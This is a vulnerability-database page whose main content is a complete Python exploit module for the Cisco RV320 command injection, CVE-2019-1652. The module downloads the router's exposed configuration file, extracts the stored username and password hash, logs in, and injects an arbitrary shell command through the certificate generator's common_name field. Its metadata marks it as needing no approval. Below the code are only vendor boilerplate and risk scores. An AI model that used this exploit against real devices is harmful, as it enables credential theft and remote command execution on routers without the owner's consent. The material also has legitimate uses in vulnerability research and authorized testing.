Cisco RV320 Command Injection
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco RV320 Command Injection"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Cisco RV320 Command Injection',
'description': 'Module exploits Cisco RV320 Remote Command Injection vulnerability in the web-based certificate generator feature.',
'author': ['RedTeam Pentesting GmbH', 'GH0st3rs'],
'cve': ['CVE-2019-1652'],
'platform': Platform.LINUX,
'references': ['https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-005/-cisco-rv320-command-injection', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info'],
'tags': ['iot', 'router', 'unauth', 'cve-2019-1652', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(443, "Target HTTP port")
command = OptString("", "Command for execute")
def run(self):
if self.check():
print_success("Target is vulnerable")
config = self.get_config()
if config is None:
print_error("Config extraction failed. Quitting.")
return
username, password = self.extract_creds(config=config)
if username is None or password is None:
print_error("Username or password not found!")
return
session = self.cisco_login(username=username, password=password)
if session is None:
print_error("Login Failed, quitting time loser :(")
return
self.pwn(session=session, command=self.command)
else:
print_error("Target is not vulnerable")
def get_config(self):
print_status("Gonna go grab us a config file...")
response = self.http_request(
method="GET",
path="/cgi-bin/config.exp",
)
if response and "sysconfig" in response.text:
print_success("We seem to have found a valid config!")
return response.text
return None
def extract_creds(self, config):
# Here we extract the USER and PASSWD lines to get the username and hash...
print_status("Extracting Creds...")
username = re.findall('USERNAME=(.*?)\n', config)
if not username:
return None, None
username = username[0]
print_success("Got user: %s" % username)
password = re.findall('PASSWD=(.*?)\n', config)
if not password:
return None, None
password = password[0]
print_success("Got password (hash): %s" % password)
return username, password
def extract_auth_key(self, session):
response = self.http_request(
session=session,
method="GET",
path="/cgi-bin/userLogin.cgi",
verify=False,
)
if response is None:
return None
auth_key = re.findall(r'"auth_key" value="(.*?)">', response.text)
if len(auth_key):
return auth_key[0]
return None
def cisco_login(self, username, password):
session = requests.Session()
print_status("Sending request to extract auth key...")
auth_key = self.extract_auth_key(session=session)
if auth_key is not None:
print_success("Got auth_key value: %s" % auth_key)
else:
print_success("auth_key extraction failed. Using 1964300002 anyway")
auth_key = "1964300002" # this seems to be a default on some?
# now we do the login
post_data = {
"auth_key": auth_key,
"auth_server_pw": "Y2lzY28=",
"changelanguage": "",
"current_password": "",
"langName": "ENGLISH,Deutsch,Espanol,Francais,Italiano",
"LanguageList": "ENGLISH",
"login": "true",
"md5_old_pass": "",
"new_password": "",
"password": password,
"password_expired": 0,
"pdStrength": 0,
"portalname": "CommonPortal",
"re_new_password": "",
"submitStatus": 0,
"username": username
}
login_response = self.http_request(
session=session,
method="POST",
path="/cgi-bin/userLogin.cgi",
verify=False,
data=post_data
)
if login_response and "URL=/default.htm" in login_response.text:
print_success("Login Successful, we can proceed!")
return session
return None
def pwn(self, session, command):
print_status("Ok, now to run your command: %s" % command)
print_status("We don't get output so... Yeah. Shits blind.")
payload = "a'$(%s)'b" % (command)
post_data = {
"page": "self_generator.htm",
"totalRules": 1,
"OpenVPNRules": 30,
"submitStatus": 1,
"log_ch": 1,
"type": 4,
"Country": "A",
"state": "A",
"locality": "A",
"organization": "A",
"organization_unit": "A",
"email": "ab%40example.com",
"KeySize": 512,
"KeyLength": 1024,
"valid_days": 30,
"SelectSubject_c": 1,
"SelectSubject_s": 1,
"common_name": payload
}
self.http_request(
session=session,
method="POST",
path="/certificate_handle2.htm?type=4",
verify=False,
data=post_data
)
def check(self):
if self.get_config() is not None:
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.2
CVSS 29
CVSS 37.2
EPSS0.95923
SSVC